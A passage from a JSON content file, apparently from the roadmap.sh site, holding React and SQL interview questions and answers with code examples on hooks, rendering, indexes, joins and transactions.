    "content": "Unnecessary re-renders in components can occur due to several reasons, and it's important to optimize your code to minimize them for better performance.\n\nHere are some common reasons for unnecessary re-renders in functional components:\n\n- **Using inline functions in JSX props**: If you pass an inline function as a prop to child components, those components will get re-rendered every time the parent component re-renders. This is because a new function is created on every render. You can optimize this by using `useCallback` hook to memoize the function.\n- **Using `useState` hook with objects**: If you use `useState` hook with objects, you need to make sure that you are not mutating the object. If you mutate the object, React will not be able to detect the change and will not re-render the component. You can optimize this by using `useReducer` hook instead of `useState` hook.\n- **Using `useEffect` hook without dependencies**: If you use `useEffect` hook without dependencies, it will run on every render. You can optimize this by passing an empty array as the second argument to `useEffect` hook.\n- **Parent Component Re-renders**: If a parent component re-renders, all its child components will also re-render. You can optimize this by using `React.memo` to memoize the child component where possible.\n- **Global State Changes**: If you use global state management libraries like Redux, MobX, etc., and the global state changes, all the components that use that state will re-render. You can optimize this by using `useSelector` hook to select only the state that you need in a component.\n- **Misusing Context**: If you use Context API to pass data to child components, and the data changes, all the child components will re-render. You can optimize this by using `useContext` hook to select only the data that you need in a component.\n\nYou can also use `React.StrictMode` to detect potential problems in your code that could cause unnecessary re-renders.\n\n"
  },
  {
    "path": "src/data/question-groups/react/content/ref-forwarding.md",
    "content": "By default, each component’s DOM nodes are private. However, sometimes it’s useful to expose a DOM node to the parent—for example, to allow focusing it. To opt in, wrap your component definition into `forwardRef()`:\n\n```javascript\nimport { forwardRef } from 'react';\n\nconst MyInput = forwardRef(function MyInput(props, ref) {\n  const { label, ...otherProps } = props;\n  return (\n    <label>\n      {label}\n      <input {...otherProps} />\n    </label>\n  );\n});\n```\n\nYou will receive a `ref` as the second argument after props. Pass it to the DOM node that you want to expose:\n\n```javascript\nimport { forwardRef } from 'react';\n\nconst MyInput = forwardRef(function MyInput(props, ref) {\n  const { label, ...otherProps } = props;\n  return (\n    <label>\n      {label}\n      <input {...otherProps} ref={ref} />\n    </label>\n  );\n});\n```\n\nThis lets the parent Form component access their `<input>` DOM node exposed by `MyInput`:\n\n```javascript\nfunction Form() {\n  const ref = useRef(null);\n\n  function handleClick() {\n    ref.current.focus();\n  }\n\n  return (\n    <form>\n      <MyInput label=\"Enter your name:\" ref={ref} />\n      <button type=\"button\" onClick={handleClick}>\n        Edit\n      </button>\n    </form>\n  );\n}\n```\n\nThis Form component passes a ref to `MyInput`. The `MyInput` component forwards that ref to the `<input>` browser tag. As a result, the `Form` component can access that `<input>` DOM node and call `focus()` on it.\n\n"
  },
  {
    "path": "src/data/question-groups/react/content/render-list.md",
    "content": "In React, you can render a list by using the JavaScript `map` function to iterate over an array of items and return a JSX element for each item. It's important to provide a unique `key` prop to each element in the list for React's diffing algorithm to function efficiently during re-renders. Here's a basic example:\n\n```javascript\nconst items = ['Apple', 'Banana', 'Cherry'];\n\nfunction FruitList() {\n  return (\n    <ul>\n      {items.map((fruit, index) => (\n        <li key={index}>{fruit}</li>\n      ))}\n    </ul>\n  );\n}\n```\n\n> Note: While using the index as a key can work in some cases, it's generally not recommended for dynamic lists where items can be added, removed, or reordered.\n"
  },
  {
    "path": "src/data/question-groups/react/content/strict-mode.md",
    "content": "Strict Mode is a tool in React for highlighting potential problems in an application. By wrapping a component tree with `StrictMode`, React will activate additional checks and warnings for its descendants. This doesn't affect the production build but provides insights during development.\n\n```js\nimport { StrictMode } from 'react';\nimport { createRoot } from 'react-dom/client';\n\nconst root = createRoot(document.getElementById('root'));\nroot.render(\n  <StrictMode>\n    <App />\n  </StrictMode>\n);\n```\n\nIn Strict Mode, React does a few extra things during development:\n\n1. It renders components twice to catch bugs caused by impure rendering.\n2. It runs side-effects (like data fetching) twice to find mistakes in them caused by missing effect cleanup.\n3. It checks if deprecated APIs are used, and logs a warning message to the console if so.\n"
  },
  {
    "path": "src/data/question-groups/react/content/suspense.md",
    "content": "Suspense is a component in React that lets you specify the fallback content to display while waiting for a component to load. It is used in conjunction with `lazy()` to lazily load components.\n\n```js\nimport { lazy, Suspense } from 'react';\n\nconst LazyRoadmapRender = lazy(() => import('./RoadmapRender'));\n\nexport function App() {\n  const [show, setShow] = useState(false);\n  return (\n    <>\n      <button onClick={() => setShow(true)}>Show</button>\n      {show && (\n        <Suspense fallback={<div>Loading...</div>}>\n          <LazyRoadmapRender />\n        </Suspense>\n      )}\n    </>\n  );\n}\n```\n\nUntil the `RoadmapRender` component is loaded, the `Suspense` component will display the `Loading...` fallback content.\n"
  },
  {
    "path": "src/data/question-groups/react/content/synthetic-events.md",
    "content": "React differs from HTML in that it uses a synthetic event system instead of directly binding to the browser’s native events. This system brings consistency and performance benefits, and it allows React to be agnostic of environments like browser, server, or React Native.\n\nThe events such as `onClick`, `onSubmit`, `onFocus`, etc. are all camel-cased to be consistent with the naming convention in JavaScript. React event handlers are written inside curly braces:\n\n```javascript\nfunction activateLasers(e) {\n    e.preventDefault();\n    console.log('The button was clicked.');\n}\n\n<button onClick={activateLasers}>Activate Lasers</button>\n```\n\nIn this case `activateLasers` is the event handler which will receive a React event object which, also known as a \"synthetic event\". It conforms to the same standard as the underlying DOM events, but fixes some browser inconsistencies.\n\nSome React events do not map directly to the browser’s native events. For example in `onMouseLeave`, `e.nativeEvent` will point to a `mouseout` event. If you need the underlying browser event for some reason, read it from `e.nativeEvent`.\n\nVisit the [React documentation](https://react.dev/reference/react-dom/components/common#react-event-object) for further details."
  },
  {
    "path": "src/data/question-groups/react/content/use-transition.md",
    "content": "`useTransition` hook allows you to mark certain updates as **transitions** so they can be deprioritized, allowing other, more urgent updates to be processed first. This ensures that the UI remains responsive during updates that might take some time.\n\n```js\nimport { useTransition, useState } from 'react';\nimport { Posts } from './Posts';\nimport { Home } from './Home';\nimport { Contact } from './Contact';\n\nexport function App() {\n  const [isPending, startTransition] = useTransition();\n  const [page, setPage] = useState('home');\n\n  function changePage(newPage: string) {\n    startTransition(() => {\n      setPage(newPage);\n    });\n  }\n\n  return (\n    <>\n      <button onClick={() => changePage('home')}>Home</button>\n      <button onClick={() => changePage('posts')}>Posts</button>\n      <button onClick={() => changePage('contact')}>Contact</button>\n      <hr />\n      {isPending && <div>Loading...</div>}\n      {page === 'home' && <Home />}\n      {page === 'posts' && <Posts />}\n      {page === 'contact' && <Contact />}\n    </>\n  );\n}\n```\n\n```js\nexport function Home() {\n  return <div>Home</div>;\n}\n```\n\n```js\nexport function Contact() {\n  return <div>Contact</div>;\n}\n```\n\nPosts component is artificially delayed by 500ms to emulate extremely slow code.\n\n```js\nexport function Posts() {\n  const items = [];\n  for (let i = 0; i < 500; i++) {\n    items.push(<SlowPost key={i} />);\n  }\n  return <ul>{items}</ul>;\n}\n\nfunction SlowPost() {\n  const startTime = performance.now();\n  while (performance.now() - startTime < 1) {\n    // Do nothing for 1 ms per item to emulate extremely slow code\n  }\n\n  return <li>Post</li>;\n}\n```\n\nNow when you click on the `Posts` button, you'll notice that the UI remains responsive and you can still switch to other pages while the posts are loading. Try removing the `startTransition` wrapper around `setPage` in `changePage` to see the difference.\n"
  },
  {
    "path": "src/data/question-groups/react/content/virtual-dom.md",
    "content": "Virtual DOM works in this steps:\n\n1. Whenever any underlying data changes, new virtual DOM representation will be created.\n2. Then the difference between the previous DOM representation and the new one is calculated.\n3. Once the calculations are done, the real DOM will be updated with only the things that have actually changed.\n"
  },
  {
    "path": "src/data/question-groups/react/react.md",
    "content": "---\norder: 1\nbriefTitle: 'React'\nbriefDescription: 'Test, rate and improve your React knowledge with these questions.'\ntitle: 'React Questions'\ndescription: 'Test, rate and improve your React knowledge with these questions.'\nisNew: false\nseo:\n  title: 'React Questions'\n  description: 'Curated list of React questions to test, rate and improve your knowledge. Questions are based on real world experience and knowledge.'\n  ogImageUrl: 'https://assets.roadmap.sh/guest/react-questions-x6n2w.jpg'\n  keywords:\n    - 'react quiz'\n    - 'react questions'\n    - 'react interview questions'\n    - 'react interview'\n    - 'react test'\nsitemap:\n  priority: 1\n  changefreq: 'monthly'\nquestions:\n  - question: What is a React?\n    answer: React, is an open-source JavaScript library for building user interfaces (UIs). It was developed and is maintained by Meta, and is widely used by developers to create interactive and dynamic web applications.\n    topics:\n      - 'Core'\n      - 'Beginner'\n  - question: What are the features of React?\n    answer: Use of Virtual DOM instead of Real DOM, JSX, Server-side rendering, Unidirectional data flow or data binding, Reusable components, etc.\n    topics:\n      - 'Core'\n      - 'Beginner'\n  - question: What is JSX?\n    answer: JSX is a syntax extension to JavaScript and comes with the full power of JavaScript. JSX produces React “elements”. You can embed any JavaScript expression in JSX by wrapping it in curly braces. After compilation, JSX expressions become regular JavaScript objects.\n    topics:\n      - 'Core'\n      - 'Beginner'\n  - question: What is the difference between Real DOM and Virtual DOM?\n    answer: |\n      Virtual DOM is the representation of a UI in the form of a plain JavaScript object. It is a node tree that lists the elements, their attributes and content as Objects and their properties. Real DOM is the real representation of a UI which can be seen and inspected in the browser.\n      Manipulating the virtual DOM is much faster than real DOM, because nothing gets drawn on the screen. React uses this virtual DOM to figure out the most efficient way to update the browser DOM.\n    topics:\n      - 'Core'\n      - 'Beginner'\n  - question: What is the difference between state and props?\n    answer: |\n      Props are used to pass data from parent to child. They are like function arguments. They are immutable.\n      State is managed within the component and is mutable.\n    topics:\n      - 'State'\n      - 'Beginner'\n  - question: Can we change the state of the component directly?\n    answer: No, we can't change the state of the component directly. State can only be changed by using `setState()` method. Changing the state variable directly won't re-render the component.\n    topics:\n      - 'State'\n      - 'Beginner'\n  - question: What is the difference between controlled and uncontrolled components?\n    answer: controlled-vs-uncontrolled.md\n    topics:\n      - 'State'\n      - 'Beginner'\n  - question: What are different options to style a React component?\n    answer: CSS Stylesheets, Inline styles, CSS Modules, Styled Components, CSS in JS libraries, etc.\n    topics:\n      - 'Styling'\n      - 'Beginner'\n  - question: What are Pure Components?\n    answer: pure-components.md\n    topics:\n      - 'Performance'\n      - 'Intermediate'\n  - question: What are Synthetic Events in React?\n    answer: synthetic-events.md\n    topics:\n      - 'Events'\n      - 'Intermediate'\n  - question: What is the purpose of `key` attribute in React?\n    answer: The string attribute `key` is a special attribute you need to include when rendering an array of elements. Keys help React identify which items have changed, are added, or are removed. Keys should be given to the elements inside the array to give the elements a stable identity.\n    topics:\n      - 'Performance'\n      - 'Beginner'\n  - question: What are refs in React?\n    answer: |\n      Refs are used to get reference to a DOM node or an instance of a component. They help to access the DOM nodes or React elements created in the render method.\n      You can also use refs when you want a component to “remember” some information, but you don’t want that information to trigger new renders, you can use a ref.\n    topics:\n      - 'Core'\n      - 'Intermediate'\n  - question: What is ref forwarding in React?\n    answer: ref-forwarding.md\n    topics:\n      - 'Core'\n      - 'Intermediate'\n  - question: What is React Fiber?\n    answer: |\n      React fiber is the reconciliation engine that replaced the core algorithm in React v16. It is a rewrite of the core algorithm, responsible for scheduling what gets rendered on screen. It is a set of algorithms for efficiently updating the UI.\n      Here is a [bit-outdated but quite good article about React Fiber](https://github.com/acdlite/react-fiber-architecture).\n    topics:\n      - 'Core'\n      - 'Advanced'\n  - question: What is the difference between react and react-dom packages?\n    answer: |\n      React is a library for building user interfaces. The package `react` contains only the renderer-agnostic code i.e. the core React library, algorithm for computing changes in the UI and other helpers. The package `react-dom` contains the code specific to the DOM rendering of React components.\n    topics:\n      - 'Core'\n      - 'Beginner'\n  - question: What is the difference between class components and function components?\n    answer: |\n      Class components let you define your components with the help of classes. You can extend from `React.Component` class to create a component. Class components also allow you to define component level lifecycle methods.\n      Function components are defined by writing a function which returns a React element. Functional components are the preferred way to write React components. There are no lifecycle methods similar to class components available in functional components; you can use React hooks instead to manage the component lifecycle.\n    topics:\n      - 'Core'\n      - 'Beginner'\n  - question: What are Higher-Order Components (HOCs)?\n    answer: |\n      A higher-order component (HOC) is a function that takes a component and returns a new component. Basically, it's a pattern that is derived from React's compositional nature.\n      Higher-Order Components are not part of the React API. They are the pattern that emerges from React's compositional nature.\n    topics:\n      - 'Core'\n      - 'Intermediate'\n  - question: What are React Hooks?\n    answer: |\n      Hooks are functions that let you “hook into” React state and lifecycle features from function components. Hooks don't work inside classes — they let you use React without classes. Some common hooks include `useState`, `useEffect`, `useMemo`, `useRef`, `useCallback`, etc.\n    topics:\n      - 'Core'\n      - 'Beginner'\n  - question: How to render HTML in React?\n    answer: |\n      You can use `dangerouslySetInnerHTML` prop to render HTML in React. It is used to set HTML directly from React. You should be careful while using this property as it can cause XSS attacks.\n    topics:\n      - 'Core'\n      - 'Beginner'\n  - question: What is Context in React?\n    answer: |\n      Context provides a way to pass data through the component tree without having to pass props down manually at every level. Context is primarily used when some data needs to be accessible by many components at different nesting levels.\n    topics:\n      - 'State'\n      - 'Intermediate'\n  - question: What is Reconciliation in React?\n    answer: |\n      Reconciliation is the process through which React updates the DOM by comparing the newly returned elements with the previously rendered ones. React updates the DOM when a component's state changes.\n    topics:\n      - 'Core'\n      - 'Intermediate'\n  - question: What could be the reasons for un-necessary re-renders in React?\n    answer: re-renders.md\n    topics:\n      - 'Performance'\n      - 'Intermediate'\n  - question: How does React handle prop drilling, and what are the downsides of excessive prop drilling?\n    answer: Prop drilling is the process of passing data from a parent component to deeply nested child components through props. While React doesn't prohibit this, it can lead to code that is hard to maintain and understand. Excessive prop drilling can make it challenging to track data flow and can result in unnecessary re-renders. To mitigate these issues, you can use Context API or state management libraries like Redux.\n    topics:\n      - 'Core'\n      - 'Intermediate'\n  - question: What is the purpose of the `useEffect` hook in React?\n    answer: |\n      The useEffect hook in React is used for performing side effects in functional components. Side effects can include data fetching, DOM manipulation, and subscribing to external data sources.\n    topics:\n      - 'Core'\n      - 'Intermediate'\n  - question: What is the purpose of the `useContext` hook in React?\n    answer: |\n      The useContext hook is used to access and consume context values in functional components. It provides a way to access context data without the need for a context consumer. useContext is particularly useful when you want to access context values in nested components without having to pass props through intermediate components.\n    topics:\n      - 'State'\n      - 'Intermediate'\n  - question: What is the purpose of the `useMemo` hook in React?\n    answer: |\n      The `useMemo` hook is used to memoize the result of a computationally expensive operation in a functional component. It helps optimize performance by caching the result of the operation and returning the cached result on subsequent renders if the dependencies have not changed. This can prevent unnecessary calculations.\n    topics:\n      - 'Performance'\n      - 'Intermediate'\n  - question: Explain the concept of error boundaries in React.\n    answer: error-boundaries.md\n    topics:\n      - 'Core'\n      - 'Advanced'\n  - question: What are fragments in React?\n    answer: |\n      React doesn't allow returning multiple elements from a component. You can use fragments to return multiple elements.\n\n      Fragments in React allow for a group of elements to be returned from a component's render method without adding an extra node to the DOM. They are useful when you want to return multiple elements without wrapping them in a parent container.\n    topics:\n      - 'Core'\n      - 'Beginner'\n  - question: What are portals in React?\n    answer: create-portal.md\n    topics:\n      - 'Core'\n      - 'Intermediate'\n  - question: What is Concurrent React (Concurrent Mode)?\n    answer: |\n      Concurrent React, previously referred to as Concurrent Mode, is a set of new features in React that allows React to interrupt the rendering process to consider more urgent tasks, making it possible for React to be more responsive to user input and produce smoother user experiences. It lets React keep the UI responsive while rendering large component trees by splitting the rendering work into smaller chunks and spreading it over multiple frames.\n    topics:\n      - 'Performance'\n      - 'Intermediate'\n  - question: What is the `useTransition` hook?\n    answer: use-transition.md\n    topics:\n      - 'Performance'\n      - 'Advanced'\n  - question: What is the purpose of `flushSync` in React?\n    answer: flush-sync.md\n    topics:\n      - 'Core'\n      - 'Advanced'\n  - question: How to render React components as static HTML string?\n    answer: |\n      The `renderToString` function in React is part of the `react-dom/server` package and is used to render React components on the server-side to a static HTML string. It is commonly used for server-side rendering (SSR) in React.\n    topics:\n      - 'SSR'\n      - 'Intermediate'\n  - question: What are Server Components in React?\n    answer: |\n      Server Components allow developers to write components that render on the server instead of the client. Unlike traditional components, Server Components do not have a client-side runtime, meaning they result in a smaller bundle size and faster loads. They can seamlessly integrate with client components and can fetch data directly from the backend without the need for an API layer. This enables developers to build rich, interactive apps with less client-side code, improving performance and developer experience.\n    topics:\n      - 'SSR'\n      - 'Intermediate'\n  - question: How to lazy load components in React?\n    answer: lazy-loading.md\n    topics:\n      - 'Performance'\n      - 'Intermediate'\n  - question: What is `Suspense` in React?\n    answer: suspense.md\n    topics:\n      - 'UX'\n      - 'Intermediate'\n  - question: How does React Virtual DOM work?\n    answer: virtual-dom.md\n    topics:\n      - 'Core'\n      - 'Intermediate'\n  - question: How do Server Components differ from Client Components?\n    answer: Server Components are rendered on the server and do not require client-side JavaScript for rendering. While Server Components and Client components can coexist in the same app, Server Components can import and render Client components.\n    topics:\n      - 'SSR'\n      - 'Beginner'\n  - question: How do React Server Components handle data fetching?\n    answer: Server Components can directly access backend resources, databases, or filesystems to fetch data during rendering, eliminating the need for a separate API layer for data fetching.\n    topics:\n      - 'SSR'\n      - 'Beginner'\n  - question: What's the component's lifecycle in React?\n    answer: component-lifecycle.md\n    topics:\n      - 'Core'\n      - 'Beginner'\n  - question: How to write a comment in React?\n    answer: |\n      You can write a comment in JSX by wrapping it in curly braces and using JavaScript's multi-line comment syntax.\n      ```js\n      {/* This is a comment */}\n      ```\n    topics:\n      - 'Core'\n      - 'Beginner'\n  - question: What is the difference between stateful and stateless components?\n    answer: |\n      The main difference between stateful and stateless components is one has state and the other doesn't. Stateful components keep track of changes to their state and re-render themselves when the state changes. Stateless components, on the other hand, render whatever is passed to them via `props` or always render the same thing.\n    topics:\n      - 'Core'\n      - 'Beginner'\n  - question: Why you shouldn't use `index` as a key in React lists and iterators?\n    answer: Using `index` as a key can negatively impact performance and may cause issues with the component state. When the list items change due to additions, deletions, or reordering, using indexes can lead to unnecessary re-renders or even incorrect UI updates. React uses keys to identify elements in the list, and if the key is just an index, it might reuse component instances and state inappropriately. Especially in cases where the list is dynamic or items can be reordered, it's recommended to use unique and stable identifiers as keys to ensure consistent behavior.\n    topics:\n      - 'Performance'\n      - 'Beginner'\n  - question: What is the naming convention for React components?\n    answer: In React, the naming convention for components is to use PascalCase, meaning the first letter of each word in the component's name should be capitalized. For example, `UserProfile`, `SidebarItem`, or `NavigationMenu`. This convention differentiates custom React components from regular HTML tags in JSX, as React treats elements starting with a lowercase letter as DOM tags and those starting with a capital letter as custom components.\n    topics:\n      - 'Core'\n      - 'Beginner'\n  - question: How to render a list in React?\n    answer: render-list.md\n    topics:\n      - 'Core'\n      - 'Beginner'\n  - question: What are `use client` and `use server` directives?\n    answer: The `use client` directive marks source files whose components are intended to execute only on the client. Conversely, `use server` marks server-side functions that can be invoked from client-side code.\n    topics:\n      - 'SSR'\n      - 'Intermediate'\n  - question: Can you use hooks in Server Components?\n    answer: No, hooks are not supported in Server Components. Hooks are a client-side feature and are not supported in Server Components. However, you can use hooks in client components and import them into Server Components.\n    topics:\n      - 'SSR'\n      - 'Intermediate'\n  - question: How to create a Custom hook in React?\n    answer: custom-hook.md\n    topics:\n      - 'Core'\n      - 'Intermediate'\n  - question: What is Hydration in React?\n    answer: |\n      Hydration is the process of using client-side JavaScript to add interactivity to the markup generated by the server. When you use server-side rendering, the server returns a static HTML representation of the component tree. Once this reaches the browser, in order to make it interactive, React \"hydrates\" the static content, turning it into a fully interactive application.\n    topics:\n      - 'SSR'\n      - 'Intermediate'\n  - question: What is Strict Mode in React and why is it useful?\n    answer: strict-mode.md\n    topics:\n      - 'Debugging'\n      - 'Intermediate'\n  - question: How do you investigate a slow React app and identify performance bottlenecks?\n    answer: investigate-slow-app.md\n    topics:\n      - 'Performance'\n      - 'Intermediate'\n---\n"
  },
  {
    "path": "src/data/question-groups/sql/content/appointments-no-treatment.md",
    "content": "```sql\nSELECT \n  a.appointment_id, \n  a.patient_id, \n  a.appointment_date\nFROM appointments a\nLEFT JOIN treatments t ON a.appointment_id = t.appointment_id\nWHERE t.treatment_id IS NULL AND a.status = 'completed';\n```\n\nSay you're using a `LEFT JOIN` to find appointments without a matching treatment. Filtering for `treatment_id IS NULL` isolates those cases. Checking the appointment status keeps the focus on visits that actually happened. "
  },
  {
    "path": "src/data/question-groups/sql/content/average-treatment-cost.md",
    "content": "```sql\nSELECT \n  appointment_id, \n  AVG(cost) AS avg_treatment_cost\nFROM treatments\nGROUP BY appointment_id;\n```\n\nMention that treatments are tied to appointments, so grouping by `appointment_id` lets you calculate the average cost for each visit. This kind of breakdown could help with billing or identifying unusually expensive sessions. "
  },
  {
    "path": "src/data/question-groups/sql/content/clustered-vs-nonclustered-indexes.md",
    "content": "This is a concept that often confuses people, but comes up a lot in interviews. Indexes help your database find data faster (similar to an index in a book).\n\n- **Clustered index**: Determines the physical order of rows in a table, and only one clustered index can exist per table. It's like having the book's pages arranged by one specific topic.\n- **Non-clustered index**: Doesn't affect how rows are stored. It's a separate lookup table that points to the actual data. You can have several non-clustered indexes.\n\n```sql\n-- Creating a clustered index (usually on the primary key)\nCREATE CLUSTERED INDEX idx_employees_id ON employees(employee_id);\n\n-- Creating a non-clustered index\nCREATE NONCLUSTERED INDEX idx_employees_dept ON employees(department_id);\n```\n\nChoosing the right index type depends on how you're querying the data; range queries often benefit from clustered indexes, while exact lookups do well with non-clustered ones. "
  },
  {
    "path": "src/data/question-groups/sql/content/correlated-subquery.md",
    "content": "A correlated subquery uses values from the outer query and runs once for each row in the outer query. It can't run on its own because it depends on values outside its scope.\n\nUse it when comparing each row to a related value, such as finding employees who earn more than the average salary in their department. "
  },
  {
    "path": "src/data/question-groups/sql/content/database-normalization.md",
    "content": "Normalization is a way to organize your database so you don't repeat data unnecessarily. It helps keep your data clean, avoids update issues, and makes the structure easier to manage as your app grows.\n\nThe main goals:\n\n- Avoid repeating the same data in different places.\n- Make updates and insert more reliably.\n- Keep queries simple and logical.\n- Make it easier to adjust your schema later.\n\nBefore normalization:\n\n```sql\nCREATE TABLE orders_unnormalized (\n    order_id INT,\n    product_name VARCHAR(100),\n    product_category VARCHAR(50),\n    product_price DECIMAL(10,2),\n    customer_name VARCHAR(100),\n    customer_email VARCHAR(100),\n    customer_address VARCHAR(200)\n);\n```\n\nAfter normalization:\n\n```sql\nCREATE TABLE customers (\n    customer_id INT PRIMARY KEY,\n    name VARCHAR(100),\n    email VARCHAR(100),\n    address VARCHAR(200)\n);\n\nCREATE TABLE products (\n    product_id INT PRIMARY KEY,\n    name VARCHAR(100),\n    category VARCHAR(50),\n    price DECIMAL(10,2)\n);\n\nCREATE TABLE orders (\n    order_id INT PRIMARY KEY,\n    customer_id INT REFERENCES customers(customer_id),\n    product_id INT REFERENCES products(product_id),\n    order_date DATE\n);\n```\n\nWhile normalization offers many benefits, if you normalize too much, you might end up with too many small tables and lots of joins, which can slow down performance in read-heavy systems. "
  },
  {
    "path": "src/data/question-groups/sql/content/database-transactions.md",
    "content": "A transaction is a group of actions that should be treated as one. Either everything in the transaction succeeds, or nothing does. This helps keep your data accurate, especially when making multiple changes at once.\n\n```sql\n-- Basic transaction syntax\nBEGIN TRANSACTION;\n\nUPDATE accounts SET balance = balance - 100 WHERE account_id = 123;\nUPDATE accounts SET balance = balance + 100 WHERE account_id = 456;\n\n-- If both updates succeed\nCOMMIT;\n\n-- If there's a problem\nROLLBACK;\n```\n\nTransactions follow ACID properties:\n\n![ACID Properties](https://assets.roadmap.sh/guest/acid-properties-fau5z.png)\n\n- **Atomicity**: All steps succeed or none at all.\n- **Consistency**: The database stays valid before and after.\n- **Isolation**: Transactions don't interfere with each other.\n- **Durability**: Once committed, the changes are saved permanently.\n\nIf you're dealing with things like financial transfers or inventory updates, using transactions is a must. "
  },
  {
    "path": "src/data/question-groups/sql/content/doctor-most-patients.md",
    "content": "```sql\nSELECT \n  d.full_name, \n  COUNT(DISTINCT a.patient_id) AS unique_patients\nFROM doctors d\nJOIN appointments a ON d.doctor_id = a.doctor_id\nGROUP BY d.full_name\nORDER BY unique_patients DESC\nLIMIT 1;\n```\n\nExplain that `COUNT(DISTINCT patient_id)` helps you avoid counting the same patient twice. Ordering by the count and limiting the result to 1 gives you the doctor who's seen the widest variety of patients. "
  },
  {
    "path": "src/data/question-groups/sql/content/find-duplicates.md",
    "content": "You can find duplicates by grouping by the columns that should be unique, counting how many times each group appears, and filtering out any that appear more than once.\n\nFor example, you can find duplicate emails in a user table by grouping all rows by the email column.\n\n```sql\nSELECT email, COUNT(*)\nFROM users\nGROUP BY email\nHAVING COUNT(*) > 1;\n```\n\nThis is useful during data cleaning or when validating records before import. "
  },
  {
    "path": "src/data/question-groups/sql/content/foreign-key.md",
    "content": "A foreign key is a column (or a combination of columns) that references the primary key of another table. It's used to establish a relationship between two tables, helping maintain referential integrity and ensuring data integrity by making sure the linked data stays consistent across both tables.\n\n![SQL foreign key](https://assets.roadmap.sh/guest/sql-foreign-key-8bwm3.png)\n\nA table with a foreign key constraint helps prevent unmatched records and keeps data consistent across related tables. "
  },
  {
    "path": "src/data/question-groups/sql/content/most-common-diagnosis.md",
    "content": "```sql\nSELECT \n  diagnosis, \n  COUNT(*) AS diagnosis_count\nFROM appointments\nWHERE diagnosis IS NOT NULL\nGROUP BY diagnosis\nORDER BY diagnosis_count DESC\nLIMIT 1;\n```\n\nMention that you're excluding `NULL` values since they don't represent valid data, then grouping by diagnosis to see which one appears the most. Sorting in descending order and limiting to 1 gives you the most frequent condition. "
  },
  {
    "path": "src/data/question-groups/sql/content/patients-multiple-appointments.md",
    "content": "```sql\nSELECT \n  p.patient_id, \n  p.first_name, \n  p.last_name, \n  COUNT(a.appointment_id) AS total_appointments\nFROM patients p\nJOIN appointments a ON p.patient_id = a.patient_id\nGROUP BY p.patient_id, p.first_name, p.last_name\nHAVING COUNT(a.appointment_id) > 3;\n```\n\nTalk about how you're using a `JOIN` to connect patients to their appointments, then grouping the results to count how many appointments each patient had. Use `HAVING` to filter for those with more than three. This kind of query helps track highly engaged or frequent patients. "
  },
  {
    "path": "src/data/question-groups/sql/content/patients-no-recent-visits.md",
    "content": "```sql\nSELECT \n  p.patient_id, \n  p.first_name, \n  p.last_name\nFROM patients p\nLEFT JOIN (\n  SELECT patient_id, MAX(appointment_date) AS last_visit\n  FROM appointments\n  GROUP BY patient_id\n) a ON p.patient_id = a.patient_id\nWHERE last_visit IS NULL OR last_visit < CURRENT_DATE - INTERVAL '1 year';\n```\n\nWalk through how you first create a subquery to find each patient's most recent appointment. Then, join that with the patient table and filter for those who haven't visited in over a year, or never visited at all. "
  },
  {
    "path": "src/data/question-groups/sql/content/patients-registration-query.md",
    "content": "```sql\nSELECT COUNT(*) AS recent_patients\nFROM patients\nWHERE registration_date >= CURRENT_DATE - INTERVAL '6 months';\n```\n\nSay that you're filtering the patient records based on their `registration_date`, using a dynamic 6-month window. This way, the query always gives an up-to-date count. Point out that `COUNT(*)` gives you the total number of new patients. "
  },
  {
    "path": "src/data/question-groups/sql/content/primary-key.md",
    "content": "A **primary key** uniquely identifies each row in a table and is defined by a primary key constraint. It must be unique and cannot contain `NULL` values. Every table should have one primary key to ensure each record is identifiable.\n\n![Primary key in a relational database management system](https://assets.roadmap.sh/guest/primary-key-in-a-relational-database-management-system-ce6qn.png)\n\nFor example, a user table can have a unique `id` that serves as the primary key:\n\n```sql\nCREATE TABLE users (\n  id   INT PRIMARY KEY,\n  name VARCHAR(100)\n);\n-- 'id' must be unique and non-null for every row.\n``` "
  },
  {
    "path": "src/data/question-groups/sql/content/query-optimization.md",
    "content": "Speed matters, especially when working with large datasets. Here's how to approach a slow query:\n\n- **Check the query plan**: See where the time is being spent.\n- **Review indexes**: Are the right columns indexed?\n- **Rewrite the query**: Try different approaches or break things into smaller parts.\n- **Simplify joins**: Double-check the join logic and order.\n- **Limit data**: Only return the columns and rows you actually need.\n- **Watch data types**: Make sure comparisons aren't causing slowdowns.\n- **Use partitioning**: For really big tables, splitting them can help.\n\nBefore optimization:\n\n```sql\nSELECT c.name, o.order_date, p.product_name, p.price\nFROM customers c, orders o, order_items oi, products p\nWHERE c.id = o.customer_id\n  AND o.id = oi.order_id\n  AND oi.product_id = p.id\n  AND o.order_date > '2022-01-01';\n```\n\nAfter optimization:\n\n```sql\nSELECT c.name, o.order_date, p.product_name, p.price\nFROM orders o\nJOIN customers c ON o.customer_id = c.id\nJOIN order_items oi ON o.id = oi.order_id\nJOIN products p ON oi.product_id = p.id\nWHERE o.order_date > '2022-01-01';\n```\n\nThe specific optimization techniques will vary based on your database system and performance bottlenecks. "
  },
  {
    "path": "src/data/question-groups/sql/content/ranking-functions.md",
    "content": "These functions assign ranks or row numbers based on ordering criteria. They behave differently when there are ties:\n\n- `ROW_NUMBER()` assigns a unique number to each row, even if the values are the same.\n- `RANK()` gives the same rank to tied rows and skips the next rank.\n- `DENSE_RANK()` also gives the same rank to ties but doesn't skip any numbers.\n\n![Difference between Rank, Dense_Rank and Row_Number](https://assets.roadmap.sh/guest/difference-between-rank-dense-rank-and-row-number-rubpc.png)\n\nThey're helpful in tasks like leaderboard generation or identifying top performers by region or category. "
  },
  {
    "path": "src/data/question-groups/sql/content/revenue-last-month.md",
    "content": "```sql\nSELECT \n  SUM(t.cost) AS total_revenue\nFROM treatments t\nJOIN appointments a ON t.appointment_id = a.appointment_id\nWHERE a.appointment_date >= date_trunc('month', CURRENT_DATE - INTERVAL '1 month')\n  AND a.appointment_date < date_trunc('month', CURRENT_DATE);\n```\n\nSay that you're using `date_trunc` to set a clean date range for last month, then joining appointments and treatments to add up the costs. This shows the hospital's treatment-related income for the previous month. "
  },
  {
    "path": "src/data/question-groups/sql/content/sql-constraints.md",
    "content": "SQL constraints are rules that help keep data accurate and consistent.\n\n- `NOT NULL`: Prevents a column from having empty values.\n- `UNIQUE`: Makes sure all values in a column are different.\n- `CHECK`: Adds a condition that the values in a column must meet.\n\n**Use case**: If you're storing product prices, you can use a `CHECK` constraint to prevent negative values as shown in the snippet below:\n\n```sql\nCREATE TABLE products (\n  id INT PRIMARY KEY,\n  name VARCHAR(50) NOT NULL,\n  price DECIMAL(10, 2) CHECK (price >= 0)\n);\n``` "
  },
  {
